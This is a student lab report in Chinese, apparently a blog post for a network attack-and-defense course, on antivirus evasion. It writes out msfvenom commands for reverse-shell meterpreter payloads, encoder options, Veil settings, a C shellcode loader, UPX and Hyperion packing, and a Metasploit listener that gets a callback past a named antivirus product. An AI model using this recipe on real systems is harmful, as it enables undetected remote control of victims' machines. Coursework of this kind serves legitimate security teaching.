20222408 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1回答问题

(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商搜集最全最新的特征码库,并以此来尝试匹配文件中的一个或几个片段②启发式恶意软件检测:根据片面特征推断,包括行为(如连接恶意网站、开放端口、修改系统文件等),外观(文件签名、结构、厂商等)。③基于行为的恶意软件检测:基本上就是加入了行为监控的启发式。
(2)免杀是做什么?
对恶意软件做处理,让它不被杀毒软件检测,从而达到攻击成功的目的。
(3)免杀的基本方法有哪些?
①通过加压缩壳/加密壳,基于payload重新编译生成可执行文件,用其他语言重写再编译等方法,改变恶意软件的特征码。②通过反弹式连接、隧道技术、加密通讯数据、基于内存操作、加入混淆用的正常代码等方法,隐藏恶意软件的恶意行为。③还有非常规的方法,包括利用后门,使用社工类攻击,从头编一个恶意软件等。

1.2实践内容简述

(1)使用msfvenom和msf编码器,生成exe、jar、php文件及它们的编码版本。
(2)下载veil工具,并使用它来生成恶意代码。
(3)使用C+shellcode编程。
(4)尝试upx压缩壳和试hyperion加密壳。
(5)通过组合应用各种技术实现恶意代码免杀,即与杀软共生。
(6)在杀软开启的情况下,用免杀技术让恶意代码运行并回连成功。

2.实验过程

2.1形成免杀效果参考基准

利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.219.133 PORT=2408 -f exe > met20222408.exe直接生成meterpreter可执行文件。
alt text
将该文件放入virustotal进行评价,发现检出率为61/72,将这个比例作为参照,查看后续的免杀技术效果。
alt text

2.2正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2.2.1生成exe文件和编码的exe文件

利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-encoded20222408.exe生成可执行文件。其中-e x86/shikata_ga_nai用于指定编码方式;-b '\x00'用于指定要避免的坏字符。
alt text
得到的检出率为61/73,基本没有变化。
再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f exe > met-10encoded20222408.exe进行10次编码。其中-i 10表示编码10次。
alt text
得到的检出率为62/73,也基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。

2.2.2生成jar文件和编码的jar文件

利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x>metjar20222408.jar生成jar文件。其中x>可以利用输出文件后缀名隐式指定文件类型。
再利用指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x>met-encoded-jar20222408.jar生成一份编码10次的jar文件。
alt text
得到的检出率均为34/64,说明jar文件更难被识别出来。

2.2.3生成php文件和编码的php文件

利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.219.133 LPORT=2408 x> metphp_20222408.php生成php文件。
利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.219.133 LPORT=2408 x> met_encoded10_php_20222408.php生成一份编码10次的php文件。
alt text
得到的检出率分别为26/63和10/62,说明php文件也难以被识别,且php的编码有不错的免杀效果。

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

我一开始设置的kali虚拟机硬盘大小只有20gb,导致没有足够的空间下载veil。我扩充了硬盘空间后,开始下载veil。(扩充方法见问题1)
先使用指令sudo apt -y install veil,用apt下载veil。
alt text
再使用指令usr/share/veil/config/setup.sh --force --silent,用veil自带的shell脚本配置好环境。
alt text
这个过程涉及到很多内容,需要比较长的时间,但除了中间要输入一次密码以外,不需要进行任何手动操作。下载完毕后,在命令行中输入veil,将会出现以下界面。
alt text

2.3.2veil使用过程

上一张图中,可以看到Evasion(躲避模块)是第一个选项,输入use 1进入Evasion模块。
alt text
输入list查看所有可用的载荷种类。
alt text
看到c/meterpreter/rev_tcp.py是第7个选项,输入use 7
alt text
进行配置,输入以下信息。
set LHOST 192.168.1.115(反弹链接ip,虚拟机的ip)
set LPORT 2408(设置端口)
generate(开始生成)
下面会提示生成的具体内容和生成后文件所在的位置。
alt text
到它所说的目录下,可以看到已经生成好的文件。
alt text
测试这个文件的检出率,发现是43/73,有一定的免杀效果。
alt text

2.4使用C + shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=2408 -f c,用msfvenom工具来生成一个C语言的源代码格式的有效载荷
alt text
用生成的shellcode编写一个c文件。
alt text
利用指令i686-w64-mingw32-g++ shellcode_c_20222408.c -o shellcode_c_20222408.exe进行编译,得到exe文件。
alt text
测试这个文件的检出率,发现是39/71,有一定的免杀效果。
alt text

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用指令upx shellcode_c_20222408.exe -o shellcode_c_upx_20222408.exe,给上一个步骤生成的shellcode_c_20222408.exe加一个压缩壳。
alt text
测试检出率,发现是44/72,反而上升了,说明这个壳的特征已经被很广泛的记录。
alt text

2.5.2使用加密壳Hyperion

使用指令。
cp shellcode_c_20222408.exe /usr/share/windows-resources/hyperion/(将待加密文件放到工作目录下)
cd /usr/share/windows-resources/hyperion(进入工作目录)
wine hyperion.exe -v shellcode_c_20222408.exe shellcode_c_hyp_20222408.exe(加密文件)
alt text
alt text
加密文件已经生成。
alt text
测试检出率,发现是53/73,反而上升了,说明这个壳的特征已经被很广泛的记录。
alt text

2.6通过组合应用各种技术实现恶意代码免杀

使用msfvenom工具来生成一个攻击载荷的示例。该攻击载荷被x86/shikata_ga_nai编码了10次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.219.133 LPORT=2408 -f c > 20222408_shellcode.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20222408_shellcode.c -o 20222408_shellcode.exe
使用upx加一层压缩壳。
upx 20222408_shellcode.exe -o 20222408_shellcode_upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20222408_shellcode_upx.exe 20222408_shellcode_upx_hyp.exe
将最终生成的可执行文件放入主机,用杀软进行扫描,软件没有发现。
alt text

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 172.16.219.133(设置为kali的ip地址)
set LPORT 2408(设置端口)
exploit(启动监听服务)
在杀软开启的情况下,在主机上运行生成的可执行文件,可以看到成功回连成功。
alt text
电脑的杀软名称:金山毒霸
病毒库版本:2024.10.24.09
软件版本:15.2024.4.3.102400.1509
alt text

3.问题及解决方案

  • 问题1:kali的存储空间不足以下载veil。
  • 问题1解决方案:在网络上找到了一篇kali扩容的教程:kali扩展内存,大致步骤为先在虚拟机设置中扩展磁盘容量,再用gparted软件对逻辑分区进行设置。扩容后就可以容纳veil了。
  • 问题2:下载veil的过程中尝试了很多种方法,很多方法都报错,错误包括文件大小不匹配,下载源证书错误等等。
  • 问题2解决方案:最终找到了我实验报告里所写的那种方法,用以下两条语句成功下载。
    sudo apt -y install veil
    usr/share/veil/config/setup.sh --force --silent
  • 问题3:一开始使用hyperion.exe时,系统会报“ShellExecuteEx failed: File not found.”的错误。
  • 问题3解决方案:通过搜索得知,hyperion.exe需要在/usr/share/windows-resources/hyperion这个工作目录才能使用。

4.学习感悟、思考等

本次实验的重点在于尝试各种免杀工具与技巧,学习的内容有:msf编码器、veil、加壳工具的使用,C+shellcode编程方法,各种免杀方法的组合运用等等。通过进行实验,我也学习到了kali的扩容方法、各种软件下载方式,复习了后门程序的生成与使用方法。
本次实验进行得还算顺利,最大的难点在于veil的下载。在下载veil时,我试了好几种方法都有报错,这些方法有简单的也有复杂的。我看到最复杂困难的方法是重新安装别的kali版本,在里面尝试下载veil,因为本来安装的kali版本可能不兼容veil。最后,我成功下载veil,反而用的是我看到的最简单的一种方法。组合各种技术实现免杀也有一定的难度。我一开始使用的技巧太少了,导致总是被查杀。经过不断的尝试,我最终也成功实现了免杀。整个实验过程很好地锻炼了我分析问题和解决问题的能力。
实验涉及的免杀技巧已经存在了很久,广为人知,所以没有办法达到特别好的免杀效果,有些甚至还会起反作用。但是在网络安全领域,不断会有新的免杀技巧出现,使用杀毒软件等方法无法百分百识别恶意代码,若没有很好的安全意识和防护意识,可能就会被攻击而造成损失。这说明我们要时刻保持警惕,避免点击来路不明的邮件、网站,下载盗版软件等高危行为。

参考资料

posted @ 2024-10-26 23:19  miaoshuyang  阅读(53)  评论(0编辑  收藏  举报